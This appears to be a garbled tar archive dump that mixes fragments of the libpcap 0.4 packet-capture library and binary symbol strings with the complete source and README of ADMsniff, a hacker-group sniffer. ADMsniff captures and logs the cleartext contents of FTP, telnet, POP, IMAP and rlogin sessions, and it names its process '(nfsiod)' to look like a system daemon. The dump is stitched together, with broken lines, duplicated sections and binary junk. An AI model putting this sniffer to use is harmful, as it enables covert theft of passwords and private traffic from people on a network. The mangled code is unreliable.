p->sf.version_minor
= hdr.version_minor;
#ifdef PCAP_FDDIPAD
/* XXX padding only needed for kernel fcode */
pcap_fddipad = 0;
#endif
return (p);
bad:
free(p);
return (NULL);
* Read sf_readfile and return the next
packet. Return the header in hdr
* and the contents in buf. Return 0 on success, SFERR_EOF if there
were
* no more packets, and
SFERR_TRUNC if a partial packet was encountered.
static int
sf_next_packet(pcap_t
*p, struct pcap_pkthdr *hdr, u_char *buf, int buflen)
FILE *fp = p->sf.rfile;
/* read the stamp */
if (fread((char *)hdr, sizeof(struct
pcap_pkthdr), 1, fp) != 1) {
/* probably an EOF, though could be a
truncated packet */
return (1);
if (p->sf.swapped) {
/* these were written in opposite byte
order */
hdr->caplen =
SWAPLONG(hdr->caplen);
hdr->len = SWAPLONG(hdr->len);
hdr->ts.tv_sec
= SWAPLONG(hdr->ts.tv_sec);
hdr->ts.tv_usec =
SWAPLONG(hdr->ts.tv_usec);
* We interchanged the caplen and len fields
at version 2.3,
* in order to match the bpf header
layout. But unfortunately
*
some files were written with version 2.3 in their headers
*
but without the interchanged fields.
*/
if
(p->sf.version_minor < 3 ||
(p->sf.version_minor == 3 &&
hdr->caplen > hdr->len)) {
int t = hdr->caplen;
hdr->caplen
= hdr->len;
hdr->len = t;
if (hdr->caplen > buflen) {
/*
* This can happen due to Solaris 2.3 systems tripping
* over the BUFMOD problem and not setting the snapshot
* correctly in the savefile header. If the caplen isn't
* grossly wrong, try to salvage.
*/
static u_char *tp = NULL;
static
int tsize = 0;
if (hdr->caplen > 65535) {
sprintf(p->errbuf,
"bogus savefile header");
return (-1);
if (tsize <
hdr->caplen) {
tsize = ((hdr->caplen + 1023) / 1024) *
1024;
if (tp != NULL)
free((u_char *)tp);
tp
= (u_char *)malloc(tsize);
if (tp == NULL) {
tsize = 0;
sprintf(p->errbuf, "BUFMOD hack
malloc");
return
(-1);
}
if (fread((char *)tp, hdr->caplen, 1,
fp) != 1) {
sprintf(p->errbuf, "truncated dump
file");
return (-1);
/*
* We can only keep up to buflen bytes. Since caplen > buflen
* is exactly how we got here, we know we can
only keep the
* first buflen bytes and must drop the
remainder. Adjust
* caplen accordingly, so we don't get confused later as
* to how many bytes we have to play with.
*/
hdr->caplen = buflen;
memcpy((char
*)buf, (char *)tp, buflen);
}
else {
/* read the packet itself */
if (fread((char
*)buf, hdr->caplen, 1, fp) != 1) {
sprintf(p->errbuf, "truncated dump
file");
return (-1);
return (0);
*
Print out packets stored in the file initialized by sf_read_init().
* If cnt > 0, return after 'cnt' packets,
otherwise continue until eof.
pcap_offline_read(pcap_t *p, int cnt,
pcap_handler callback, u_char *user)
struct
bpf_insn *fcode = p->fcode.bf_insns;
int
status = 0;
int n = 0;
while (status == 0) {
struct
pcap_pkthdr h;
status = sf_next_packet(p, &h, p->buffer,
p->bufsize);
if (status) {
if (status ==
1)
return
(0);
return (status);
if
(fcode == NULL ||
bpf_filter(fcode, p->buffer, h.len,
h.caplen)) {
(*callback)(user, &h,
p->buffer);
if (++n >= cnt && cnt >
0)
break;
/*XXX this breaks semantics tcpslice
expects */
return (n);
* Output a packet to the initialized dump
file.
void
pcap_dump(u_char *user, const struct pcap_pkthdr *h, const
u_char *sp)
register FILE
*f;
f = (FILE *)user;
/* XXX we should check the return status
*/
(void)fwrite((char *)h,
sizeof(*h), 1, f);
(void)fwrite((char
*)sp, h->caplen, 1, f);
*
Initialize so that sf_write() will output to the file named 'fname'.
pcap_dumper_t
*
pcap_dump_open(pcap_t *p, const char *fname)
FILE *f;
if (fname[0] == '-' && fname[1] == '\0')
f
= stdout;
else {
f
= fopen(fname, "w");
if (f == NULL) {
sprintf(p->errbuf,
"%s: %s",
fname, pcap_strerror(errno));
return (NULL);
(void)sf_write_header(f, p->linktype,
p->tzoff, p->snapshot);
return
((pcap_dumper_t *)f);
void
pcap_dump_close(pcap_dumper_t *p)
#ifdef
notyet
if (ferror((FILE
*)p))
return-an-error;
/*
XXX should check return from fclose() too */
#endif
(void)fclose((FILE *)p);
acket. Return the header in hdr
* and the contents in buf. Return 0 on success, SFERR_EOF if there
were
* no more packets, and
SFERR_TRUNC if a partial packet was encountered.
static int
sf_next_packet(pcap_t
*p, struct pcap_pkthdr *hdr, u_char *buf, int buflen)
FILE *fp = p->sf.rfile;
/* read the stamp */
if (fread((char *)hdr, sizeof(struct
pcap_pkthdr), 1, fp) != 1) {
/* probably an EOF, though
colibpcap-0.4/scanner.l
444
1774
34
10524 6364743475 7720
* Copyright (c) 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995,
1996, 1997
* The Regents of the University of
California. All rights reserved.
* Redistribution and use in source and binary
forms, with or without
*
modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this
paragraph in its entirety, (2)
*
distributions including binary code include the above copyright notice
and
* this paragraph in its
entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
"@(#) $Header: scanner.l,v 1.56
97/07/21 13:31:50 leres Exp $ (LBL)";
#endif
#include
<sys/types.h>
#include <sys/time.h>
#include
<ctype.h>
#include <unistd.h>
#include
"pcap-int.h"
#include "gencode.h"
#include
<pcap-namedb.h>
#include "tokdefs.h"
#include
"gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include
"os-proto.h"
#endif
static int stoi(char *);
static
inline int xdtoi(int);
#ifdef FLEX_SCANNER
#define YY_NO_UNPUT
#undef
YY_INPUT
#define YY_INPUT(buf, result, max)\
char *src = in_buffer;\
int
i;\
if (*src == 0)\
result
= YY_NULL;\
else {\
for
(i = 0; *src && i < max; ++i)\
buf[i] = *src++;\
in_buffer
+= i;\
result = i;\
#else
#undef getc
#define
getc(fp) (*in_buffer == 0 ? EOF :
*in_buffer++)
#endif
#define yylval pcap_lval
extern YYSTYPE
yylval;
static char *in_buffer;
N ([0-9]+|(0X|0x)[0-9A-Fa-f]+)
B ([0-9A-Fa-f][0-9A-Fa-f]?)
%a
3000
dst return DST;
src return SRC;
link|ether|ppp|slip return LINK;
fddi return
LINK;
arp return ARP;
rarp return RARP;
ip return
IP;
tcp return TCP;
udp return UDP;
icmp return
ICMP;
igmp return IGMP;
igrp return IGRP;
atalk return
ATALK;
decnet return DECNET;
lat return
LAT;
sca return SCA;
moprc return MOPRC;
mopdl return
MOPDL;
host return HOST;
net return NET;
mask return
MASK;
port return PORT;
proto return PROTO;
gateway return
GATEWAY;
less return LESS;
greater return
GREATER;
byte return BYTE;
broadcast return TK_BROADCAST;
multicast return TK_MULTICAST;
and|"&&" return AND;
or|"||" return
OR;
not return '!';
len|length return
LEN;
inbound return INBOUND;
outbound return OUTBOUND;
[ \n\t] ;
[+\-*/:\[\]!<>()&|=] return yytext[0];
">=" return
GEQ;
"<=" return LEQ;
"!=" return
NEQ;
"==" return '=';
"<<" return
LSH;
">>" return RSH;
{N} {
yylval.i = stoi((char *)yytext); return NUM; }
({N}\.{N})|({N}\.{N}\.{N})|({N}\.{N}\.{N}\.{N}) {
yylval.s = sdup((char *)yytext); return
HID; }
{B}:{B}:{B}:{B}:{B}:{B} { yylval.e = pcap_ether_aton((char
*)yytext);
return EID; }
{B}:+({B}:+)+ { bpf_error("bogus ethernet address
%s", yytext); }
[A-Za-z0-9][-_.A-Za-z0-9]*[.A-Za-z0-9] {
yylval.s = sdup((char *)yytext); return ID;
}
"\\"[^ !()\n\t]+ {
yylval.s = sdup((char *)yytext + 1); return ID; }
[^
\[\]\t\n\-_.A-Za-z0-9!<>()&|=]+i {
bpf_error("illegal
token: %s\n", yytext); }
. { bpf_error("illegal char '%c'",
*yytext); }
void
lex_init(buf)
char
*buf;
in_buffer = buf;
* Also define a yywrap. Note that if we're using flex, it will
* define a macro to map this identifier to
pcap_wrap.
yywrap()
return
1;
/* Hex digit to integer. */
static inline int
xdtoi(c)
register int c;
if (isdigit(c))
return
c - '0';
else if
(islower(c))
return c - 'a' + 10;
else
return c - 'A' + 10;
* Convert string to integer. Just like atoi(), but checks for
* preceding 0x or 0 and uses hex or octal
instead of decimal.
static int
stoi(s)
char *s;
int
base = 10;
int n = 0;
if (*s == '0') {
if
(s[1] == 'x' || s[1] == 'X') {
s += 2;
base =
16;
else {
base = 8;
s += 1;
while (*s)
n = n * base +
xdtoi(*s++);
return n;
#include
<sys/time.h>
#include <ctype.h>
#include
<unistd.h>
#include "pcap-int.h"
#include
"gencode.h"
#include <pcap-namedb.h>
#include
"tokdefs.h"
#include "gnuc.h"
#ifdef
HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
static
int stoi(char *);
static inline int xdtoi(int);
#ifdef
FLEX_SCANNER
#define YY_NO_UNPUT
#undef YY_INPUT
#define
YY_INPUT(buf, result, max)\
char
*src = in_buffer;\
int
i;\
if (*src == 0)\
result
= YY_NULL;\
else {\
for
(i = 0; *src && i < max; ++i)\
buf[i] = *src++;\
in_buffer
+= i;\
result = i;\
#else
#undef getc
#define
getc(fp) (*in_buffer == 0 ? EOF :
*in_buffer++)
#endif
#define yylval pcap_lval
extern YYSTYPE
yylval;
static char *in_buffer;
N ([0-9]+|(0X|0x)[0-9A-Fa-f]+)
B ([0-9A-Fa-f][0-9A-Fa-f]?)
%a
3000
dst return DST;
src return SRC;
link|ether|ppp|slip return LINK;
fddi return
LINK;
arp return ARP;
rarp return RARP;
ip return
IP;
tcp return TCP;
udp return UDP;
icmp return
ICMP;
igmp return IGMP;
igrp return IGRP;
atalk return
ATALK;
decnet return DECNET;
lat return
LAT;
sca return SCA;
moprc return MOPRC;
mopdl return
MOPDL;
host return HOST;
net return NET;
mask return
MASK;
port return PORT;
proto return PROTO;
gateway return
GATEWAY;
less return LESS;
greater return
GREATER;
byte return BYTE;
broadcast return TK_BROADCAST;
multicast return TK_MULTICAST;
and|"&&" return AND;
or|"||" return
OR;
not return '!';
len|length return
LEN;
inbound return INBOUND;
outbound return OUTBOUND;
[ \n\t] ;
[+\-*/:\[\]!<>()&|=] return yytext[0];
">=" return
GEQ;
"<=" return LEQ;
"!=" return
NEQ;
"==" return '=';
"<<" return
LSH;
">>" return RSH;
{N} {
yylvalADMsniff/thesniff.c
100644
0
0
20360
6716123227 12565
ustar
root
root
/***************************************************************************
___ ______ _ _
/ \ |
_ \ | \ /
|
| / \
| | | \ |
| \_/ |
| |___| | | |_ /
| | \_/ |
..oO THE
| --- | | /
| | | | CreW Oo..
''' '''
''''''' '''' ''''
presents
*****************************************************************************/
/*****************************************************************/
/* ADM sniffer
(c) ADM */
/* USE THIS
VERSION !!!!! */
#define VERSION "priv 1.0"
#define
ETHHDEFAULT 14
#define N0L0G 0x3
#include <stdio.h>
#include
<ctype.h>
#include <string.h>
#include
<memory.h>
#include <stdlib.h>
#include
<sys/types.h>
#include <netdb.h>
#include
<sys/socket.h>
#include <netinet/in.h>
#include
<arpa/inet.h>
#ifdef COMPRESS
#include <zlib.h>
#include
<signal.h>
#endif
#include "pcap.h"
#include
"ip.h"
#include "tcp.h"
#define IPHDRSIZE sizeof(struct iphdr)
#define TCPHDRSIZE
sizeof(struct tcphdr)
#define ERROR -1
#define IPPROTO_TCP 6
#define
PROGNAME "(nfsiod)"
char LOGPATH[] = "./";
u_short
BOOG = 0;
u_short ETHHDRSIZE;
u_char *buf;
u_short coolport[]
=
{21, 23, 109, 110, 143, 512, 513, 514, 1521, 31337};
u_short len =
0;
u_short LOG = 0;
short sport = 0;
short dport = 0;
#ifndef
COMPRESS
FILE *filez;
#else
gzFile filez;
#endif
static
char logname[255];
static char tmp[255];
static char sip[255];
static
char dip[255];
char *whynot;
char *data;
struct tcphdr
*tcp;
struct iphdr *ip;
struct pcap_pkthdr h;
struct pcap
*pcap_d;
struct the_ip
u_long sip;
u_long
dip;
u_short sport;
u_short dport;
u_long time;
char data[4012];
int size;
char flags;
};
struct the_ip *theipz[4012];
int howmanyip = 0;
#ifdef
COMPRESS
void hup_handler(int sig)
gzflush(filez,Z_FULL_FLUSH);
fprintf(stderr,"COUCOU");
/* for linux */
signal(SIGHUP,hup_handler);
void
term_handler(int sig)
fprintf(stderr,"\nTerminating.\n");
gzclose(filez);
exit(1);
#endif
char *
myinet_ntoa
(u_long theipofthedeath)
struct
in_addr in;
in.s_addr =
theipofthedeath;
return
(inet_ntoa (in));
void
goodstr (char *src, char *dst, int
size)
int i;
for (i = 0; i < size; i++)
if (isprint (src[i]))
dst[i] = src[i];
else if (dst[i] == '\r' || dst[i] ==
'\n')
dst[i] = '\n';
else
dst[i] = '.';
flushstruct (int i, char add)
if (add != 1)
if (theipz[i]->flags != N0L0G)
if ((theipz[i]->time + 7000) >
time (NULL))
if (strlen
(theipz[i]->data) > 4011)
{
#ifndef COMPRESS
fprintf (filez, "\n--=[ %s:%i --> ", myinet_ntoa
(theipz[i]->sip), ntohs (theipz[i]->sport));
fprintf (filez, "%s:%i
]=--\n", myinet_ntoa (theipz[i]->dip),
ntohs(theipz[i]->dport));
fwrite (theipz[i]->data, strlen
(theipz[i]->data), 1, filez);
fflush(filez);
#else
gzprintf(filez, "\n--=[ %s:%i --> ", myinet_ntoa
(theipz[i]->sip), ntohs (theipz[i]->sport));
gzprintf (filez, "%s:%i ]=--\n",
myinet_ntoa (theipz[i]->dip), ntohs (theipz[i]->dport));
gzwrite (filez,theipz[i]->data, strlen (theipz[i]->data));
#endif
theipz[i]->flags = N0L0G;
return (0);
}
if ((theipz[i]->time + 7000) < time
(NULL) || add == 1)
{
if (theipz[i]->flags != N0L0G)
#ifndef
COMPRESS
fprintf (filez, "\n--=[ %s:%i -->
", myinet_ntoa (theipz[i]->sip), ntohs (theipz[i]->sport));
fprintf (filez, "%s:%i ]=--\n", myinet_ntoa
(theipz[i]->dip), ntohs (theipz[i]->dport));
fwrite
(theipz[i]->data, strlen (theipz[i]->data), 1, filez);
fprintf (filez, ".\n");
fflush(filez);
#else
gzprintf (filez, "\n--=[ %s:%i
--> ", myinet_ntoa (theipz[i]->sip), ntohs
(theipz[i]->sport));
gzprintf (filez, "%s:%i ]=--\n",
myinet_ntoa (theipz[i]->dip), ntohs (theipz[i]->dport));
gzwrite (filez,theipz[i]->data,
strlen (theipz[i]->data));
gzprintf (filez, ".\n");
#endif
theipz[i]->flags = N0L0G;
free (theipz[i]);
theipz[i] = NULL;
return (0);
}
return (0);
void
dumpstruct
()
int i;
for (i = 0; i < 4012; i++)
if (theipz[i] != NULL)
{
printf
("DUMP STRUCT = NUMBER %i\n", i);
printf ("*sip -> %s*\n", myinet_ntoa
(theipz[i]->sip));
printf
("*sport -> %i*\n", htons (theipz[i]->sport));
printf ("*dip -> %s*\n",
myinet_ntoa (theipz[i]->dip));
printf
("*dport -> %i*\n", htons (theipz[i]->dport));
printf ("*data -> %s\n",
theipz[i]->data);
printf
("*---------*\n");
}
printf ("\\* The END */\n");
newstruct (u_long sip, u_long dip,
u_short sport, u_short dport)
int
i = -1;
/* Debug only
dumpstruct (); */
for (i =
0; i < 4012; i++)
if
(theipz[i] != NULL)
{
if (sip == theipz[i]->sip)
if (dip == theipz[i]->dip)
if (sport == theipz[i]->sport)
if (dport == theipz[i]->dport)
return (i);
}
for (i = 0; i < 4012; i++)
if (theipz[i] == NULL)
{
theipz[i] = calloc (1,
sizeof (struct the_ip));
theipz[i]->sip
= sip;
theipz[i]->dip =
dip;
theipz[i]->sport =
sport;
theipz[i]->dport =
dport;
theipz[i]->time =
time (NULL);
theipz[i]->size
= 0;
memset
(theipz[i]->data, 0, 4012);
return
(i);
}
return (-1);
Log ()
int i;
char buffer[8012];
LOG = 0;
ip = (struct
iphdr *) (buf + ETHHDRSIZE);
tcp
= (struct tcphdr *) (buf + IPHDRSIZE + ETHHDRSIZE);
for (i = 0; i < sizeof (logname);
i++)
logname[i] = 0;
for (i = 0; i < sizeof (tmp); i++)
tmp[i] = 0;
for (i = 0; i < sizeof (sip); i++)
sip[i] = 0;
for (i = 0; i < sizeof (dip); i++)
dip[i] = 0;
switch (ip->protocol)
{
case IPPROTO_TCP:
if ((h.len - (ETHHDRSIZE + IPHDRSIZE)) <
TCPHDRSIZE)
break;
for (i = 0; coolport[i] != 31337;
i++)
if (coolport[i] == ntohs (tcp->th_sport) ||
coolport[i] == ntohs (tcp->th_dport))
LOG = 1;
if (LOG != 1)
return (1);
sport = ntohs (tcp->th_sport);
dport = ntohs (tcp->th_dport);
if ((i = newstruct (ip->saddr,
ip->daddr, tcp->th_sport, tcp->th_dport)) == -1)
return (0);
data = (char *) (buf + IPHDRSIZE +
TCPHDRSIZE + ETHHDRSIZE);
len
= (h.len) - (IPHDRSIZE + TCPHDRSIZE + ETHHDRSIZE);
memset (buffer, 0, sizeof
(buffer));
goodstr (data,
buffer, len);
strncat
(theipz[i]->data, buffer, (4010 - strlen (theipz[i]->data)));
if ((tcp->th_flags & TH_RST) ||
(tcp->th_flags & TH_FIN))
flushstruct
(i, 1);
else
flushstruct (i, 0);
#ifndef
COMPRESS
fflush
(filez);
#endif
break;
}
return (1);
main (argc, argv)
int argc;
char **argv;
char ebuf[255];
int
i;
if (argc < 2)
{
printf ("ADMsniff %s <device> [HEADERSIZE] [DEBUG]
\n", VERSION);
printf
("ex : admsniff
le0\n");
printf ("
..ooOO The ADM Crew OOoo.. \n");
exit (ERROR);
}
for (i = 0; i < 4012;
i++)
theipz[i] = NULL;
pcap_d = pcap_open_live (argv[1], 8024, 1, 1000,
ebuf);
if (pcap_d == NULL)
{
printf ("cant open pcap device :<\n");
return (-1);
}
switch (pcap_datalink (pcap_d))
{
case DLT_NULL:
ETHHDRSIZE = 4;
break;
case DLT_EN10MB:
case DLT_EN3MB:
ETHHDRSIZE
= 14;
break;
case DLT_PPP:
ETHHDRSIZE = 4;
break;
case DLT_SLIP:
ETHHDRSIZE = 16;
break;
case
DLT_FDDI:
ETHHDRSIZE =
21;
break;
case DLT_RAW:
ETHHDRSIZE = 0;
break;
default:
fprintf (stderr, "init_pcap :
Unknown device type!\n");
return (-1);
}
printf ("ADMsniff %s in libpcap we trust !\n",
VERSION);
printf ("credits:
ADM, mel , ^pretty^ for the mail she sent me\n");
#ifdef
COMPRESS
printf ("You
compiled ADMsniff with compression support, don't\n");
printf ("forget about the log flushing
tricks (see README).\n\n");
#endif
#ifndef COMPRESS
filez = fopen ("The_l0gz",
"w");
#else
signal(SIGHUP,hup_handler);
signal(SIGTERM,term_handler);
filez = gzopen("The_l0gz","wb");
#endif
while (1)
{
buf =
(u_char *) pcap_next (pcap_d, &h);
fflush (stdout);
if ((h.len - ETHHDRSIZE) >= IPHDRSIZE && buf != NULL)
Log ();
}
return
(0);
ADMsniff/README
100644
0
0
2060
6724217756 11462
ustar
root
root
___ ______ _ _
/ \
| _ \ | \
/ |
| / \ | | | \
| | \_/ |
| |___| | | |_
/ |
| \_/ |
..oO THE |
--- | | / |
| | | CreW Oo..
''' '''
''''''' '''' ''''
presents
ADMsniff v0.1b
by:
antilove
zlib support by plaguez
ADMsniff
is a libpcap-based sniffer, designed to be
portable and powerful.
Installation:
- edit the makefile,
- run make
(btw I'm too lazy to include zlibc in this distro so
you'll
have to build zlibc
yourself.)
Notes about logs compression:
- To enable log file compress, edit the Makefile and
uncomment
the appropriate line.
You must have zlib installed.
-
For compression purposes, the log file is not flushed when
compression is enabled. To flush it at any
time, send a HUP
signal to
ADMsniff. To quit the sniffer and cleanly close the
logfile, send the TERM signal.
@(#)
$Header: nit_if.c,v 1.4 90/03/20 18:18:19 leres Exp $ sun4c (LBL)
@(#)nit_if.c
1.24++ 88/02/09 Copyr 1987 Sun Micro
snit
snit_close nonexistent
instance
+_phz
_hostnamelen
_snit_close
_snit_cpmsg
_snit_ioctl
_snit_minfo
_snit_winit
_snit_rinit
_boottime
_mclfree
_m_freem
_mclgetx
_nisoftc
_pidhash
_freeproc
_hostname
_bcopy
_proc
_whichqs
_freeb
_m_cpytoc
_ifnet
_time
_tick
_rawintrq
_allocb
_linkb
_lbolt
_snit_put
_domainnamelen
_mfree
_ifpromisc
_canput
_nproc
_dupmsg
_cp_mblks_to_mbufs
_panic
_flushq
_rcsid
_free_mbuffed_mblk
_domainname
_zombproc
_ifunit
_procNPROC
_allproc
_avenrun
_snit_open
_snit_info
_snit_intr
_m_want
_mbstat
_freemsg
_qreply
_etherbroadcastaddr
_sccsid
.mul
@(#)nit_if.c
1.24 88/02/09 Copyr 1987 Sun Micro
snit
snit_close nonexistent
instance
$_phz
_hostnamelen
_snit_close
_snit_cpmsg
_snit_ioctl
_snit_minfo
_snit_winit
_snit_rinit
_boottime
_mclfree
_m_freem
_mclgetx
_nisoftc
_pidhash
_freeproc
_hostname
_bcopy
_proc
_whichqs
_freeb
_m_cpytoc
_ifnet
_time
_tick
_rawintrq
_allocb
_linkb
_lbolt
_snit_put
_domainnamelen
_mfree
_ifpromisc
_canput
_nproc
_dupmsg
_cp_mblks_to_mbufs
_panic
_flushq
_free_mbuffed_mblk
_domainname
_zombproc
_ifunit
_procNPROC
_allproc
_avenrun
_snit_open
_snit_info
_snit_intr
_m_want
_mbstat
_freemsg
_qreply
_etherbroadcastaddr
_sccsid
.mul
(M*TJ
(M*TJ
PO&@J
PO&@J
g:
k
HS n
P PN
N^NuNV
PO(m
PO-|
XO
n
N^NuNV
PO n
gr n
fd n
JPf\/.
XO-@
`H
n
N^NuNV
~9)G
HS k
~ )G
PO&@J
g@Jl
` -
g2 n
PO-@
PO`p n
N^NuNV
`4
+
f( n
$S`4 *
f( n
XO(@J
`&/*
PO-@
g$
n
g$ n
HU/.
PO*n
HU k
P PN
PO&J*LJ
N^NuNV
PO(@J
`R l
N^NuNV
N^NuNV
XOHSN
(M&k
N^Nu
@(#)nit_if.c
1.24 88/02/09 Copyr 1987 Sun Micro
snit_close nonexistent instance
snit
_cp_mblks_to_mbufs
_sccsid
_lbolt
_snit_winit
_nproc
_whichqs
_avenrun
_domainnamelen
_hostnamelen
_snit_cpmsg
_rawintrq
_hostname
_canput
_nisoftc
_boottime
_mclgetx
_snit_close
_etherbroadcastaddr
_snit_info
_snit_minfo
_m_want
_ifunit
_tick
_procNPROC
_phz
_free_mbuffed_mblk
_snit_open
_pidhash
_bcopy
_qreply
_domainname
_mfree
_dupmsg
_freemsg
_allocb
_m_freem
_snit_ioctl
_snit_rinit
_mclfree
_freeproc
_proc
_flushq
_time
_panic
_snit_put
_ifnet
_allproc
_zombproc
_mbstat
_snit_intr
_linkb
_m_cpytoc
_freeb
_ifpromisc
dnl
@(#) $Header: aclocal.m4,v 1.63 98/06/12 03:44:50 leres Exp $ (LBL)
dnl
Copyright (c) 1995, 1996, 1997, 1998
dnl The
Regents of the University of California.
All rights reserved.
dnl Redistribution and use in source and
binary forms, with or without
dnl modification, are permitted provided
that: (1) source code distributions
dnl retain the above copyright notice
and this paragraph in its entirety, (2)
dnl distributions including binary
code include the above copyright notice and
dnl this paragraph in its
entirety in the documentation or other materials
dnl provided with the
distribution, and (3) all advertising materials mentioning
dnl features or
use of this software display the following acknowledgement:
dnl ``This
product includes software developed by the University of California,
dnl
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
dnl
the University nor the names of its contributors may be used to endorse
dnl
or promote products derived from this software without specific prior
dnl
written permission.
dnl THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT
ANY EXPRESS OR IMPLIED
dnl WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE
IMPLIED WARRANTIES OF
dnl MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.
dnl LBL autoconf macros
dnl Determine which compiler we're
using (cc or gcc)
dnl If using gcc, determine the version number
dnl
If using cc, require that it support ansi prototypes
dnl If using gcc, use
-O2 (otherwise use -O)
dnl If using cc, explicitly specify
/usr/local/include
dnl usage:
dnl AC_LBL_C_INIT(copt,
incls)
dnl results:
dnl $1
(copt set)
dnl $2 (incls set)
dnl CC
dnl LDFLAGS
dnl ac_cv_lbl_gcc_vers
dnl LBL_CFLAGS
AC_DEFUN(AC_LBL_C_INIT,
[AC_PREREQ(2.12)
AC_BEFORE([$0], [AC_PROG_CC])
AC_BEFORE([$0],
[AC_LBL_FIXINCLUDES])
AC_BEFORE([$0],
[AC_LBL_DEVEL])
AC_ARG_WITH(gcc, [
--without-gcc don't use
gcc])
$1="-O"
$2=""
if test "${srcdir}" !=
"." ; then
$2="-I\$\(srcdir\)"
fi
if test "${CFLAGS+set}" = set; then
LBL_CFLAGS="$CFLAGS"
fi
if test -z "$CC" ; then
case "$target_os" in
bsdi*)
AC_CHECK_PROG(SHLICC2, shlicc2, yes, no)
if test
$SHLICC2 = yes ; then
CC=shlicc2
export CC
fi
;;
esac
fi
if test -z
"$CC" -a "$with_gcc" = no ; then
CC=cc
export CC
fi
AC_PROG_CC
if test
"$GCC" = yes ; then
if test "$SHLICC2" = yes ;
then
ac_cv_lbl_gcc_vers=2
$1="-O2"
else
AC_MSG_CHECKING(gcc version)
AC_CACHE_VAL(ac_cv_lbl_gcc_vers,
ac_cv_lbl_gcc_vers=`$CC -v 2>&1 |
\
sed -e '/^gcc
version /!d' \
-e
's/^gcc version //' \
-e
's/ .*//' -e 's/^[[[^0-9]]]*//' \
-e
's/\..*//'`)
AC_MSG_RESULT($ac_cv_lbl_gcc_vers)
if test $ac_cv_lbl_gcc_vers -gt 1 ; then
$1="-O2"
fi
fi
else
AC_MSG_CHECKING(that $CC handles ansi
prototypes)
AC_CACHE_VAL(ac_cv_lbl_cc_ansi_prototypes,
AC_TRY_COMPILE(
[#include <sys/types.h>],
[int frob(int, char *)],
ac_cv_lbl_cc_ansi_prototypes=yes,
ac_cv_lbl_cc_ansi_prototypes=no))
AC_MSG_RESULT($ac_cv_lbl_cc_ansi_prototypes)
if test $ac_cv_lbl_cc_ansi_prototypes = no ; then
case "$target_os" in
hpux*)
AC_MSG_CHECKING(for HP-UX ansi compiler
($CC -Aa -D_HPUX_SOURCE))
savedcflags="$CFLAGS"
CFLAGS="-Aa -D_HPUX_SOURCE $CFLAGS"
AC_CACHE_VAL(ac_cv_lbl_cc_hpux_cc_aa,
AC_TRY_COMPILE(
[#include <sys/types.h>],
[int frob(int, char *)],
ac_cv_lbl_cc_hpux_cc_aa=yes,
ac_cv_lbl_cc_hpux_cc_aa=no))
AC_MSG_RESULT($ac_cv_lbl_cc_hpux_cc_aa)
if test $ac_cv_lbl_cc_hpux_cc_aa = no ;
then
AC_MSG_ERROR(see the INSTALL doc for more info)
fi
CFLAGS="$savedcflags"
V_CCOPT="-Aa $V_CCOPT"
AC_DEFINE(_HPUX_SOURCE)
;;
*)
AC_MSG_ERROR(see the INSTALL doc for more info)
;;
esac
fi
$2="$$2
-I/usr/local/include"
LDFLAGS="$LDFLAGS
-L/usr/local/lib"
case "$target_os" in
irix*)
V_CCOPT="$V_CCOPT -xansi -signed
-g3"
;;
osf*)
V_CCOPT="$V_CCOPT -std1 -g3"
;;
ultrix*)
AC_MSG_CHECKING(that Ultrix $CC hacks
const in prototypes)
AC_CACHE_VAL(ac_cv_lbl_cc_const_proto,
AC_TRY_COMPILE(
[#include <sys/types.h>],
[struct a { int b; };
void c(const struct a *)],
ac_cv_lbl_cc_const_proto=yes,
ac_cv_lbl_cc_const_proto=no))
AC_MSG_RESULT($ac_cv_lbl_cc_const_proto)
if test
$ac_cv_lbl_cc_const_proto = no ; then
AC_DEFINE(const,)
fi
;;
esac
fi
dnl Use pfopen.c if available and pfopen() not in
standard libraries
dnl Require libpcap
dnl Look for libpcap in
..
dnl Use the installed libpcap if there is no local version
dnl
usage:
dnl AC_LBL_LIBPCAP(pcapdep,
incls)
dnl results:
dnl $1
(pcapdep set)
dnl $2 (incls
appended)
dnl LIBS
dnl LBL_LIBS
AC_DEFUN(AC_LBL_LIBPCAP,
[AC_REQUIRE([AC_LBL_LIBRARY_NET])
dnl
dnl save a copy before locating libpcap.a
dnl
LBL_LIBS="$LIBS"
pfopen=/usr/examples/packetfilter/pfopen.c
if test -f $pfopen ; then
AC_CHECK_FUNCS(pfopen)
if test $ac_cv_func_pfopen =
"no" ; then
AC_MSG_RESULT(Using $pfopen)
LIBS="$LIBS $pfopen"
fi
fi
AC_MSG_CHECKING(for local pcap library)
libpcap=FAIL
lastdir=FAIL
places=`ls
.. | sed -e 's,/$,,' -e 's,^,../,' | \
egrep
'/libpcap-[[0-9]]*\.[[0-9]]*(\.[[0-9]]*)?([[ab]][[0-9]]*)?$'`
for dir in $places ../libpcap libpcap ;
do
basedir=`echo $dir | sed -e 's/[[ab]][[0-9]]*$//'`
if test $lastdir = $basedir ; then
dnl skip alphas when an actual release is
present
continue;
fi
lastdir=$dir
if test -r $dir/pcap.c ; then
libpcap=$dir/libpcap.a
d=$dir
dnl continue
and select the last one that exists
fi
done
if test
$libpcap = FAIL ; then
AC_MSG_RESULT(not found)
AC_CHECK_LIB(pcap, main, libpcap="-lpcap")
if test $libpcap = FAIL ; then
AC_MSG_ERROR(see the INSTALL doc for more
info)
fi
else
$1=$libpcap
$2="-I$d
$$2"
AC_MSG_RESULT($libpcap)
fi
LIBS="$libpcap $LIBS"
case "$target_os" in
aix*)
pseexe="/lib/pse.exp"
AC_MSG_CHECKING(for $pseexe)
if test -f $pseexe ; then
AC_MSG_RESULT(yes)
LIBS="$LIBS -I:$pseexe"
fi
;;
esac])
